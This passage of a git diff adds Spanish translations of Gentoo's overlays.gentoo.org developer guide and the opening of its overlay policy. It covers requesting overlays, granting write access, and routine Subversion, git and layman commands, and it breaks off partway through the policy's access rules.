+de los Overlays de Gentoo.
+</abstract>
+
+<license/>
+
+<version>2.3</version>
+<date>2009-01-18</date>
+
+<chapter>
+<title>Introducción</title>
+
+<section>
+<title>Audiencia</title>
+<body>
+<p>
+Éste documento ha sido escrito para desarrolladores de Gentoo y miembros del
+equipo de Gentoo. Si es usuario de Gentoo, o simplemente desea empezar a usar
+y descargar los overlays, por favor mire <uri
+link="/proj/es/overlays/userguide.xml">Gentoo Overlays: Guía del
+Usuario</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Quién puede usar overlays.gentoo.org?</title>
+<body>
+<p>
+Cualquier proyecto de Gentoo, o desarrollador de Gentoo puede tener su
+propio overlay alojado en (git.)overlays.gentoo.org, incluyendo el feed RSS
+de su changelog en <uri link="http://overlays.gentoo.org">el planeta
+overlays.gentoo.org</uri>.
+</p>
+
+<p>
+Cualquier usuario puede descargar y usar los contenidos de cualquier overlay
+alojado. Si lo decide, también puede dar acceso de escritura a su overlay.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Qué me da overlays.gentoo.org?</title>
+<body>
+<p>
+Actualmente el servicio (git.)overlays.gentoo.org ofrece:
+</p>
+<ul>
+  <li><uri link="http://trac.edgewall.com">Trac</uri> (un wiki más un
+  navegador de Subversion integrado), para crear y mantener la documentación
+  de su overlay basado en Subversion de manera rápida</li>
+  <li>Publicación del changelog de su overlay en <uri
+  link="http://overlays.gentoo.org/">la página principal de o.g.o</uri>, de
+  forma que todo el mundo que esté interesado pueda ver lo que está
+  ocurriendo</li>
+  <li><uri link="http://git.or.cz/gitwiki/Gitweb">gitweb</uri> - ofrece una
+  interfaz web perfectamente preparada para ver los repositorios Git.</li>
+</ul>
+
+<p>
+... todo alojado en la segura y respaldada infraestructura de Gentoo,
+administrada por <uri link="/proj/en/infrastructure">el equipo
+de infraestructura de Gentoo</uri> (hardware / OS base) y <uri
+link="/proj/en/overlays">el equipo de Overlays de Gentoo</uri> (wiki /
+VCS / ACLs).
+</p>
+
+<p>
+Cada overlay tiene listas de autenticación distintas para Trac, Subversion
+y Git. No hay problema alguno en dar acceso de escritura a alguien sólo a
+Trac (p. e., para escribir documentación) sin darle acceso de escritura en
+Subversion.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Por qué debería usar overlays.gentoo.org?</title>
+<body>
+
+<p>
+No tiene que hacerlo. No es necesario que tenga un overlay, y si tiene
+alguno, es absolutamente libre de alojar su overlay donde desee. No es
+necesario alojar un overlay en o.g.o para que sea considerado "oficial".
+</p>
+
+<p>
+La ventaja de usar overlays.gentoo.org es la de tener todo ya
+configurado. No necesita administrar su propio servidor, o preocuparse de
+las actualizaciones de software. Nosotros nos ocupamos de todo eso por usted.
+</p>
+</body>
+</section>
+
+<section>
+<title>¿Cuándo no debería usar overlays.gentoo.org?</title>
+<body>
+
+<p>
+El propósito de o.g.o es el de ayudar a salvar las distancias entre
+desarrolladores y usuarios. Gentoo es una distribución basada en la comunidad,
+y creemos que nuestros usuarios son tan importantes en la comunidad como los
+desarrolladores.
+</p>
+
+<p>
+Todos los overlays alojados en o.g.o están ahí para que los usuarios los usen
+y descarguen desde ellos. Es decisión de los usuarios el software que
+instalarán en sus computadoras - y eso incluye elegir usar su overlay.
+Algunos usuarios tomarán malas decisiones, y terminarán malogrando su
+computadora. Incluso podrían llegar a culpar a Gentoo por ello. Eso está bien;
+esas personas probablemente vayan culpando a todos excepto a ellos por sus
+propios errores, y es probable que usted no pueda hacer nada al respecto. Pero
+aún así ninguno de nosotros tiene el derecho de elegir por ellos.
+</p>
+
+<p>
+Los usuarios son libres (de hecho, los animamos) de brindar opiniones
+constructivas acerca de cualquier tema relacionado con Gentoo - incluyendo
+todos los overlays alojados en o.g.o. Esa retroalimentación puede venir vía
+bugs.g.o., vía correo al equipo del proyecto o directamente a usted; vía
+foros, o por el IRC. No hablamos de los usuarios verdaderamente abusivos; no
+tenemos tiempo para ellos, y nadie espera que usted lo tenga.
+</p>
+
+<warn>
+Si no es feliz con los usuarios que usan su overlay, y/o no desea ser
+molestado por éstos, entonces no use o.g.o para alojar su overlay.
+</warn>
+
+<p>
+o.g.o tenía restricciones de no ser el $UPSTREAM de los paquetes. Esta
+restricción ha sido ajustada. Ahora ofrecemos alojamiento como el $UPSTREAM,
+pero sólo para paquetes que son específicos de Gentoo o importantes para
+que corra el sistema Gentoo. Otros alojamientos pueden ser más adecuados,
+algunos servicios en esta línea son:
+<uri link="http://www.sourceforge.net/">SourceForge.net</uri>, <uri
+link="http://www.berlios.de">Berlios</uri>, o <uri
+link="http://www.gentooexperimental.org">GentooExperimental.org</uri> de
+Patrick.</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Solicitando un Overlay</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Existen dos tipos de overlay - overlays de "proyecto", y overlays de
+"desarrollador". La única diferencia entre ellos es la responsabilidad.
+</p>
+
+<impo>
+Antes de solicitar un overlay, por favor asegúrese de haber leído nuestro
+<uri link="/proj/es/overlays/policy.xml">Documento de Políticas</uri>.
+Donde claramente se define qué está permitido y qué no, y cuáles serán sus
+responsabilidades.
+</impo>
+</body>
+</section>
+
+<section>
+<title>Overlays de Proyecto</title>
+<body>
+<p>
+Los Overlays de "Proyecto" son overlays para proyectos oficiales de
+Gentoo. Un buen ejemplo es <uri link="http://overlays.gentoo.org/proj/php">
+el Overlay de PHP</uri>.
+</p>
+
+<p>
+Un proyecto oficial de Gentoo es aquel que tiene una página de proyecto en
+www.gentoo.org, y un líder electo. (Esta definición viene del documento de
+metaestructura). El(los) líder(es) de proyecto son responsables del overlay
+del proyecto, incluyendo sus contenidos, y cualquier problema que éstos
+causen a otros proyectos y desarrolladores de Gentoo.
+</p>
+
+<p>
+Para solicitar un overlay de proyecto SVN, el líder de éste solo necesita
+pasar por #gentoo-overlays en el IRC y solicitar que el overlay le sea
+creado. O, si él/ella lo prefiere, puede enviar un correo a
+overlays@gentoo.org. Nosotros nos encargaremos del resto, incluyendo
+otorgar accesos de escritura a todos los miembros del proyecto
+(listados en la página de su proyecto).
+</p>
+
+<p>Para solicitar un overlay de proyecto Git, visite el sitio <uri
+link="http://git.overlays.gentoo.org">git.overlays</uri>, y siga las
+instrucciones, enviando por correo electrónico la plantilla rellena como está
+indicado.
+</p>
+
+<p>Para una solicitud SVN, nosotros:</p>
+<ul>
+<li>crearemos su overlay (sitio trac + svn)</li>
+<li>añadiremos el feed RSS de su overlay a la página de inicio de o.g.o</li>
+<li>le crearemos una cuenta en o.g.o si no tiene ya una</li>
+<li>le daremos acceso de escritura al Trac, wiki y repositorio Subversion de
+su overlay</li>
+<li>le daremos acceso de escritura a todos los miembros de su proyecto que ya
+tienen una cuenta en o.g.o</li>
+</ul>
+
+<p>Para una solicitud Git, nosotros:</p>
+<ul>
+<li>crearemos su overlay (git, gitweb, sin trac)</li>
+<li>añadiremos el feed RSS de su overlay a la página de inicio de o.g.o</li>
+<li>le crearemos una cuenta en o.g.o si no tiene ya una</li>
+<li>le daremos acceso de escritura al repositorio Git de su overlay</li>
+<li>le daremos acceso de escritura a todos los miembros de su proyecto que ya
+tienen una cuenta en o.g.o</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Overlays de Desarrollador</title>
+<body>
+
+<p>
+Los Overlays de "Desarrollador" son overlays manejados individualmente
+por desarrolladores de Gentoo. Un ejemplo de ello es <uri
+link="http://overlays.gentoo.org/dev/beandog">Overlay de beandog</uri>.
+</p>
+
+<p>
+Si tiene una dirección de correo @gentoo.org y ha pasado la prueba de
+ebuilds entonces puede tener su propio overlay de desarrollador en o.g.o.
+</p>
+
+<p>
+Para solicitar un overlay de desarrollador SVN, simplemente ingrese a
+#gentoo-overlays en el IRC y solicite que el overlay le sea creado. O, si
+prefiere, envíe un correo a overlays@gentoo.org</p>
+
+<p>Para solicitar un overlay de desarrollador Git, simplemente visite el
+sitio <uri link="http://git.overlays.gentoo.org">git.overlays</uri> y siga
+las instrucciones, enviando por correo electrónico la plantilla rellena como
+está indicado.</p>
+
+<p>Para una solicitud SVN, nosotros:</p>
+<ul>
+<li>crearemos su overlay (sitio trac + svn)</li>
+<li>añadiremos el feed RSS de su overlay a la página de inicio de o.g.o</li>
+<li>le crearemos una cuenta en o.g.o si no tiene ya una</li>
+<li>le daremos acceso de escritura al Trac, wiki y repositorio Subversion de
+su overlay</li>
+</ul>
+
+<p>Para una solicitud Git, nosotros:</p>
+<ul>
+<li>crearemos su overlay (git, gitweb, sin trac)</li>
+<li>añadiremos el feed RSS de su overlay a la página de inicio de o.g.o</li>
+<li>le crearemos una cuenta en o.g.o si no tiene ya una</li>
+<li>le daremos acceso de escritura al repositorio Git de su overlay</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Una palabra acerca de las cuentas</title>
+<body>
+
+<p>
+Ya que o.g.o está diseñada para dar cabida tanto a desarrolladores de
+Gentoo y a usuarios de Gentoo, no creamos cuentas a nivel de sistema
+'reales' en el host de o.g.o.
+</p>
+
+<impo>
+*No* tiene acceso SSH a o.g.o.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Trabajando con su Overlay</title>
+
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+Puede acceder a su overlay tan pronto como éste sea creado. Los overlays de
+proyecto y de desarrolladores tienen distintas URLs, así cada cual sabe qué
+es de quien, aparte de esto son iguales en todos los sentidos.
+</p>
+
+<p>
+*No* existen restricciones de lectura en los overlays o wikis. Todos tienen
+completo acceso a todos los overlays y wikis. Si necesita un overlay 'secreto'
+o algo así, entonces o.g.o no es lo adecuado.
+</p>
+</body>
+</section>
+
+<section>
+<title>Accediendo a los Overlays de Proyecto</title>
+<body>
+<p>
+Si el overlay de su proyecto se llama 'foo', el wiki de su Trac estará
+aquí: http://overlays.gentoo.org/proj/foo/.
+</p>
+
+<p>
+Para verificar su repositorio en Subversion, ejecute:
+</p>
+<pre caption="Verificando su overlay de proyecto">svn co http://overlays.gentoo.org/svn/proj/foo/</pre>
+
+<p>Aunque puede realizar acciones de sólo lectura a través de HTTP no seguro,
+puede realizar todos los envíos por HTTPS. Si necesita cambiar entre modos,
+use:</p>
+<pre caption="Cambiando su overlay de proyecto de HTTP a HTTPS">svn sw --relocate http://overlays.gentoo.org/svn/proj/foo/ https://overlays.gentoo.org/svn/proj/foo/</pre>
+
+<p>
+Nosotros mantenemos <uri link="http://overlays.gentoo.org/proj/">una lista
+completa de los overlays de proyecto alojados en overlays.gentoo.org</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Accediendo a los Overlays de Desarrollador</title>
+<body>
+<p>
+Si su dirección de correo electrónico es 'foo@gentoo.org', el wiki de su sitio
+en Trac estará aquí: http://overlays.gentoo.org/dev/foo/.
+</p>
+
+<p>
+Para verificar su repositorio en Subversion, ejecute:
+</p>
+
+<pre caption="Verificando su overlay de desarrollador">svn co http://overlays.gentoo.org/svn/dev/foo/</pre>
+
+<p>Aunque puede realizar acciones de sólo lectura a través de HTTP no seguro,
+puede realizar todos los envíos por HTTPS. Si necesita cambiar entre modos,
+use:</p>
+<pre caption="Cambiando su overlay de proyecto de HTTP a HTTPS">svn sw --relocate http://overlays.gentoo.org/svn/dev/foo/ https://overlays.gentoo.org/svn/dev/foo/</pre>
+
+<p>
+Nosotros mantenemos <uri link="http://overlays.gentoo.org/dev/">una lista
+completa de los overlays de desarrollador alojados en overlays.gentoo.org
+</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Empezando con Trac</title>
+<body>
+<p>
+Su overlay viene con <uri link="http://trac.edgewall.com">Trac</uri>.  Trac
+es un wiki, un navegador de repositorios Subversion, y un sistema de
+monitoreo de bugs muy popular entre los desarrolladores de código abierto.
+</p>
+
+<p>
+Hemos deshabilitado el sistema de monitoreo de bugs en Trac. Use <uri
+link="http://bugs.gentoo.org">el Bugzilla de Gentoo</uri> para controlar los
+bugs de su overlay.
+</p>
+
+<p>
+El feed RSS de su overlay - el que se muestra en <uri
+link="http://overlays.gentoo.org">la página de inicio de o.g.o</uri> - viene
+de la página Timeline de Trac o del resumen GitWeb.
+</p>
+</body>
+</section>
+
+<section>
+<title>Comenzando con Subversion</title>
+<body>
+<p>Las ventajas de Subversion frente a CVS incluyen: versionado real de
+directorios, soporte completo de changeset y es mucho más fácil crear ramas
+en caso de necesitarlo. La principal desventaja de Subversion es que es más
+lento que CVS y que una verificación local de Subversion requiere mayor
+espacio en disco.
+</p>
+
+<p>Si nunca ha usado Subversion, el libro online es una excelente forma de
+aprender Subversion. Puede comprarlo también en formato impreso si lo
+prefiere.
+</p>
+
+<p>
+Aquí se muestran algunos comandos básicos para empezar.
+</p>
+<pre caption="Verificar su overlay">svn co http://overlays.gentoo.org/proj/php
+</pre>
+<pre caption="Ver qué archivos necesitan ser enviados">svn status
+</pre>
+<pre caption="Agregar archivos a su repositorio">svn add mi.ebuild
+</pre>
+<pre caption="Enviar los cambios">svn commit -m 'Mi actualización de historial'
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Layman</title>
+<body>
+<p>
+Le sugerimos a los usuarios usar layman para descargar y manejar su overlay.
+Layman es una utilidad escrita por <mail link="wrobel@gentoo.org">
+Gunnar Wrobel</mail> la cual le facilita a los usuarios trabajar con los
+overlays.
+</p>
+
+<p>
+Para empezar a usar layman, mire (en inglés) <uri
+link="http://layman.sourceforge.net/">la página de inicio de la documentación
+</uri>, las <uri
+link="http://www.gentoo.org/news/en/gwn/20060522-newsletter.xml">Gentoo
+Weekly News del 22 de mayo</uri> o lea <c>man layman</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Sincronización Automática desde Portage</title>
+<body>
+<p>
+Sus paquetes en el árbol de Portage siempre están en riego de ser cambiados
+sin previo aviso. Los equipos de Arquitectura necesitan ser capaces de
+enmascarar paquetes (y arreglar problemas específicos de arquitectura), el
+equipo de QA (Aseguramiento de la Calidad) arregla violaciones de estándares
+que se han detectado, y ocasionalmente cambios en los paquetes que los
+desarrolladores no debían haber realizado.
+</p>
+
+<p>
+Necesita asegurarse que los cambios hechos en Portage no se pierdan la próxima
+vez que copie sus paquetes desde su overlay de vuelta a Portage.
+</p>
+
+<p>
+El equipo de PHP ha resuelto éste problema copiando automáticamente sus
+paquetes desde Portage de vuelta a la rama 'portage' de su overlay cada noche.
+Luego puede usar Subversion (o el Timeline de Trac) para ver los cambios
+realizados ese día.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Usando git en los overlays</title>
+
+<section>
+<title>Inicializando su overlay</title>
+<body>
+<p>Antes subir nada, necesitará crear un repositorio git en local y añadir
+todos los elementos:
+</p>
+<pre caption="vaya a su overlay">cd ~/my-overlay</pre>
+<pre caption="cree un nuevo repositorio git">git init
+git add .
+git commit -m "populate overlay"</pre>
+<p>
+Notar que este envío se realizó localmente, ahora el servidor entra en juego.
+</p>
+<pre caption="dígale a git la url">git remote add origin git+ssh://git@git.overlays.gentoo.org/(proj o dev)/(nombre)</pre>
+<pre caption="finalmente súbalo">git push origin master</pre>
+<p>
+Fuente (en inglés): http://www.kernel.org/pub/software/scm/git/docs/tutorial.html
+</p>
+</body>
+</section>
+
+<section>
+<title>Obteniendo el overlay con git</title>
+<body>
+<pre caption="¡duplíquelo!">git clone git://git@git.overlays.gentoo.org/(proj o dev)/(nombre)/</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Otorgando a Otros acceso a su Overlay</title>
+
+<section>
+<title>Introducción</title>
+<body>
+<p>
+Una de las características clave de o.g.o es que la gente que no tiene acceso
+de escritura al árbol de paquetes del Portage de Gentoo puede tener acceso de
+escritura a uno o más overlays. Muchos proyectos de Gentoo han encontrado en
+ésta una excelente manera de entrenar y evaluar a potenciales desarrolladores
+de Gentoo en un entorno seguro.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de Proyecto: Otorgando accesos de escritura a Miembros del
+Equipo</title>
+<body>
+<p>
+Cualquier desarrollador listado en la página del equipo del proyecto en
+www.g.o puede tener acceso de escritura al overlay del equipo. El líder de
+proyecto puede preguntar en su nombre, o el desarrollador puede venir y
+preguntar por su cuenta.
+</p>
+
+<p>
+Si el desarrollador no tiene una cuenta en o.g.o aún, el/ella necesitará pasar
+por #gentoo-overlays así podremos crearle una cuenta.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de Proyecto: Otorgando accesos los Otros desarrolladores
+de Gentoo</title>
+<body>
+
+<p>
+Cualquier desarrollador de Gentoo *no* listando en la página de equipo del
+proyecto en www.g.o puede tener acceso de escritura al overlay del equipo. La
+solicitud de acceso para escritura debe venir de un miembro del equipo. No
+tiene porqué venir del líder de proyecto.
+</p>
+
+<p>
+Si el desarrollador no tiene una cuenta en o.g.o aún, el/ella necesitará pasar
+por #gentoo-overlays así podremos crearle una cuenta.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de Proyecto: Otorgando accesos de escritura a Usuarios de
+Gentoo</title>
+<body>
+<p>
+Cualquier usuario de Gentoo puede tener acceso de escritura en el overlay del
+equipo. La solicitud de acceso para escritura debe venir de uno de los líderes
+de proyecto. Puede solicitar que le demos al usuario acceso de escritura a
+Trac, a Subversion, o a ambos. (Nosotros asumiremos que la solicitud es para
+acceso de escritura a ambos, a menos que nos diga lo contrario).
+</p>
+
+<p>
+No podemos aceptar una solicitud de una persona que no sea el líder del
+proyecto. Si su proyecto sólo tiene un líder, recomendamos elegir un segundo
+líder. Si su único líder está AWOL (Ausente Sin Renuncia Oficial), considere
+elegir un sustituto :)
+</p>
+
+<p>
+Si el usuario no tiene una cuenta en o.g.o aún, el/ella necesitará pasar por
+#gentoo-overlays así podremos crearle una cuenta.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de Desarrollador: Otorgando accesos de escritura a
+Desarrolladores de Gentoo</title>
+<body>
+<p>
+Cualquier desarrollador de Gentoo puede tener acceso a su overlay de
+desarrollador. El desarrollador puede preguntarnos directamente; nosotros no
+le daremos acceso hasta haberlo confirmado. También puede consultarnos para
+dar accesos de escritura a cualquier desarrollador.
+</p>
+
+<p>
+Si el desarrollador no tiene una cuenta en o.g.o aún, el/ella necesitará pasar
+por #gentoo-overlays así podremos crearle una cuenta.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de Desarrollador: Otorgando accesos de escritura a Usuarios de
+Gentoo</title>
+<body>
+
+<p>
+Cualquier usuario de Gentoo puede tener acceso de escritura a su overlay de
+desarrollador. Nos deberá enviar la solicitud para este acceso a escritura.
+Puede solicitar que le demos al usuario accesos de escritura sólo en Trac,
+sólo en Subversion, o ambos. (Nosotros asumiremos que la solicitud es para
+accesos de escritura a ambos a menos que nos indique lo contrario).
+</p>
+
+<p>
+No aceptaremos la solicitud de otra persona que no sea el propietario del
+overlay. Si ve que está dando accesos a mucha más gente, es posible que deba
+considerar crear un nuevo proyecto, y transferir su trabajo ahí.
+</p>
+
+<p>
+Si el usuario no tiene una cuenta en o.g.o aún, el/ella debe pasar por
+#gentoo-overlays así nosotros podremos crearle una cuenta.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Accediendo al Overlay de otro</title>
+
+<section>
+<title>Usando un Overlay</title>
+<body>
+<p>
+Todos tienen acceso completo de lectura a cualquier overlay. Le recomendamos
+usar</p>
+<pre caption="Instalar layman">
+  emerge layman
+  echo 'source /usr/portage/local/layman/layman.conf' &gt;&gt; /etc/make.conf
+</pre>
+
+<note>
+Layman creará "/usr/portage/local/layman/make.conf" una vez que haya agregado
+su primer overlay. Pero si no planea instalar un overlay inmediatamente
+debería asegurarse que éste archivo exista y contenga una variable vacía
+"PORTDIR_OVERLAY". De otra manera portage se quejará. Puede ejecutar
+"echo PORTDIR_OVERLAY=\"\" > /usr/portage/local/layman/make.conf" para
+asegurarse de que el archivo se crea correctamente.
+</note>
+
+<p>
+Luego, para ver el listado de overlays, ejecute
+</p>
+
+<pre caption="Listado de overlays que layman conoce">layman -L
+</pre>
+
+<p>
+Para instalar un overlay, ejecute
+</p>
+<pre caption="Instalar un overlay">layman -a &lt;nombre-del-overlay&gt;
+</pre>
+
+<p>
+Ahora puede instalar los paquetes del overlay.
+</p>
+</body>
+</section>
+
+<section>
+<title>Solicitando Accesos de Escritura</title>
+<body>
+
+<p>
+Si desea accesos de escritura a un overlay de proyecto, contacte con un
+miembro del equipo del proyecto, y pídale acceso. Si aprueban su solicitud,
+se encargarán de su acceso a escritura contactando con el equipo de Overlays.
+</p>
+
+<p>
+Si desea accesos de escritura a un overlay de desarrollador, contacte con el
+desarrollador directamente, y pídale acceso. Si aprueba su solicitud, éste se
+encargará de su acceso a escritura contactando con el equipo de Overlays.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Preguntas Frecuentes</title>
+
+<section>
+<title>Administración de o.g.o</title>
+<body>
+
+<p>
+P: ¿Cómo contacto al equipo de administración de o.g.o?
+</p>
+<ul>
+  <li>R: Puede entrar a #gentoo-overlays en el IRC y ubicarnos ahí. La mayoría
+  del equipo actual está en el horario Europeo.</li>
+  <li>R: Puede enviar un correo a overlays@gentoo.org. Alguien le responderá
+  lo más pronto posible.</li>
+</ul>
+
+<p>
+P: ¿Por qué no puedo editar las listas de control de acceso directamente?
+</p>
+<ul>
+<li>A: (SVN) Las listas de control actualmente están implementadas en formato
+htpasswd. Sólo el equipo de administración de o.g.o tienen acceso ssh al
+servidor en o.g.o.</li>
+<li>A: (Git) Las listas de control actualmente están instaladas en el
+repositorio gitosis-admin, en el cual sólo pueden escribir los miembros del
+equipo de administración de o.g.o.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Seguridad</title>
+<body>
+<p>
+P: ¿Está mi overlay disponible por https?
+</p>
+
+<ul>
+  <li>R: Sí, lo está.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Multiples Overlays</title>
+<body>
+
+<p>
+P: ¿Puedo tener acceso a multiples overlays?
+</p>
+<ul>
+  <li>R: Sí, de una manera. Dentro su overlay, puede crear subdirectorios, y
+  poner árboles separados de paquetes dentro los subdirectorios. Por favor,
+  eche un vistazo al overlay del proyecto PHP para tener un ejemplo.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Importando Overlays Existentes</title>
+<body>
+<p>
+P: Ya tengo un overlay, y me gustaría moverlo a o.g.o. ¿Cómo puedo hacerlo?
+</p>
+<ul>
+  <li>R: Cree un archivo tar en su repositorio de subversion, y colóquelo en
+  cualquier lugar donde pueda descargarlo por http. Nosotros lo
+  descargaremos e instalaremos en o.g.o.</li>
+</ul>
+<note>
+¡Asegúrese de que el tar sea de su repositorio y no de una copia!
+</note>
+
+<p>
+P: Tengo un overlay, pero no usa subversion. ¿Cómo puedo moverlo a o.g.o?
+</p>
+
+<ul>
+  <li>R: Pídamos crearle un nuevo overlay vacío. Puede usar 'svn import' para
+  importar sus archivos al nuevo overlay. Perderá su historial pero eso es
+  inevitable.</li>
+  <li>R: Busque en Internet, y vea si existe alguna herramienta para convertir
+  su actual sistema de control de versiones a Subversion. Si existe, úsela, y
+  entonces podremos ayudarle a moverlo hacia o.g.o</li>
+  <li>R: Si su software de control de versiones es usado por Trac, y puede ser
+  usado a través de HTTP, ayúdenos a agregar el soporte para su software de
+  control de versiones en o.g.o</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Overlays "Oficiales"</title>
+<body>
+<p>
+P: ¿Cuándo un overlay es considerado "oficial"?
+</p>
+<ul>
+  <li>R: Un overlay "oficial" es un overlay manejado por un proyecto de Gentoo
+  (para overlays de proyecto) o por un desarrollador de Gentoo (overlays para
+  desarrollador).</li>
+</ul>
+
+<p>
+P: ¿Debe un overlay estar en o.g.o para ser "oficial"?
+</p>
+<ul>
+  <li>R: No.</li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/overlays/policy.xml b/xml/htdocs/proj/es/overlays/policy.xml
new file mode 100644
index 00000000..3ed1d99a
--- /dev/null
+++ b/xml/htdocs/proj/es/overlays/policy.xml
@@ -0,0 +1,448 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/overlays/policy.xml,v 1.3 2010/05/24 19:50:23 nimiux Exp $ -->
+
+<guide link="/proj/es/overlays/policy.xml" lang="es">
+<title>Políticas de Gentoo Overlays</title>
+
+<author title="Author">
+  <mail link="stuart@gentoo.org">Stuart Herbert</mail>
+</author>
+<author title="Traductor">
+  <mail link="srinclan@gmail.com">Sergio D. Rodríguez Inclan</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Éste es el documento de políticas que gobiernan el servicio de Gentoo
+Overlays.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>Draft 2.1</version>
+<date>2008-10-12</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+<p>
+Aquí están las políticas para el servicio de overlays.g.o. Si tiene un
+overlay alojado en overlays.g.o, o si forma parte de la administración de
+overlays.g.o, debe seguir estas políticas.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>¿Qué es el servicio overlays.g.o?</title>
+<section>
+<body>
+<p>
+overlays.g.o ofrece un espacio social de trabajo para proyectos de Gentoo y
+desarrolladores donde publicar overlays de paquetes de Gentoo en un lugar en
+el que es fácil la colaboración para desarrolladores y no desarrolladores por
+igual.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Tipos de overlay</title>
+<section>
+<body>
+<p>
+overlays.g.o aloja dos tipos de overlay:
+</p>
+<ul>
+  <li>overlays para equipos del proyecto Gentoo</li>
+  <li>overlays para desarrolladores individuales de Gentoo</li>
+  <li>overlays para proyectos 'summer of code' de Gentoo</li>
+  <li>overlays para otros proyectos específicos de Gentoo que son
+  externos.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Overlays de proyecto</title>
+<body>
+<p>
+"Overlays de proyecto" son overlays propiedad de equipos reconocidos del
+proyecto Gentoo. A estos equipos se les requiere que cumplan con la
+definición de un proyecto que puede encontrarse en nuestro documento de
+metaestructura.
+</p>
+<p>
+Los "Overlays de proyecto" tendrán el mismo nombre que el equipo de proyecto
+de Gentoo. A cada proyecto sólo se le permite un overlay.
+</p>
+<p>
+En lo referente a esta política, los overlays de proyecto están dirigidos por
+un líder(es) de proyecto electo(s).
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays de desarrollador</title>
+<body>
+<p>
+Los "overlays de Desarrollador" son overlays dirigidos por desarrolladores de
+Gentoo individuales. Éstos son desarrolladores que han pasado
+satisfatoriamente los questionarios de desarrollador de Gentoo; y a quien se
+le haya otorgado acceso de envío al árbol principal de paquetes de Gentoo.
+</p>
+<p>
+Cada "overlay de desarrollador" tendrá el mismo nombre que el desarrollador
+que mantiene el overlay. A cada desarrollador sólo se le permite un único
+overlay.
+</p>
+<p>
+En lo referente a esta política, los overlays de desarrollador están
+dirigidos personalmente por el desarrollador de Gentoo quién pidió el
+alojamiento del overlay.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays Summer of Code</title>
+<body>
+<p>
+El propósito de la creación de los "overlays Summer of Code" fue el
+alojamiento del desarrollo de proyectos Google Summer of Code (SoC) de
+Gentoo.
+</p>
+<p>
+Cada "overlay SoC" tendrá el nombre del proyecto SoC correspondiente. Pueden
+exisitir múltiples overlays si el proyecto lo requiere.
+</p>
+<p>
+En lo referente a esta política, los overlays SoC son propiedad de un
+estudiante del SoC.
+</p>
+</body>
+</section>
+
+<section>
+<title>Overlays externos específicos de Gentoo</title>
+<body>
+<p>
+PENDIENTE
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Responsabilidades</title>
+<section>
+<body>
+<ol>
+  <li>Infraestructura es el equipo responsable de la plataforma
+  (hardware + os) en la que se aloja overlays.g.o</li>
+  <li>El equipo de overlays es responsable de administrar el servicio de
+  overlays.g.o, así como del software usado para ofrecer el servicio (p. e.
+  svn, trac, git, gitweb).</li>
+  <li>Los dueños de overlays son responsables del contenido de los mismos y
+  de la conducta de cualquiera que tenga acceso de envío hacia sus overlays.
+  </li>
+  <li>Cualquier persona que realice envíos a un overlay es responsable de sus
+  acciones.</li>
+</ol>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Creación de overlays</title>
+<section>
+<body>
+<p>
+Los Overlays son creados a petición de quien vaya a ser el dueño del overlay.
+</p>
+<p>
+Los Overlays son opcionales; ningún desarrollador o proyecto de Gentoo está
+obligado a configurar un overlay.
+</p>
+<p>
+Los desarrolladores de Gentoo son libres de alojar sus overlays en cualquier
+lugar.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Accesos de envío hacia los overlays</title>
+<section>
+<body>
+<p>
+Siendo claro:
+</p>
+<ul>
+  <li>Un "desarrollador" es alguien que tiene acceso de envió al árbol
+  principal de paquetes de Gentoo.</li>
+  <li>Un "no desarrollador" es cualquiera que no tiene acceso de envío al
+  árbol principal de paquetes de Gentoo. Ésto incluye a otros miembros del
+  equipo de Gentoo.</li>
+</ul>
+
+<p>
+Overlays de proyecto:
+</p>
+<ul>
+  <li>Cualquier desarrollador listado en la página de proyecto del equipo
+  puede tener acceso de envío al(los) overlay(s) del equipo. Simplemente
+  pida al equipo de administración de overlays que le prepare el acceso.</li>
+  <li>Cualquier desarrollador que no esté listado en la pagina del equipo del
+  proyecto puede tener acceso de envío con consentimiento de un miembro del
+  equipo del proyecto.</li>
+  <li>Cualquier no-desarrollador puede tener acceso de envío al(los)
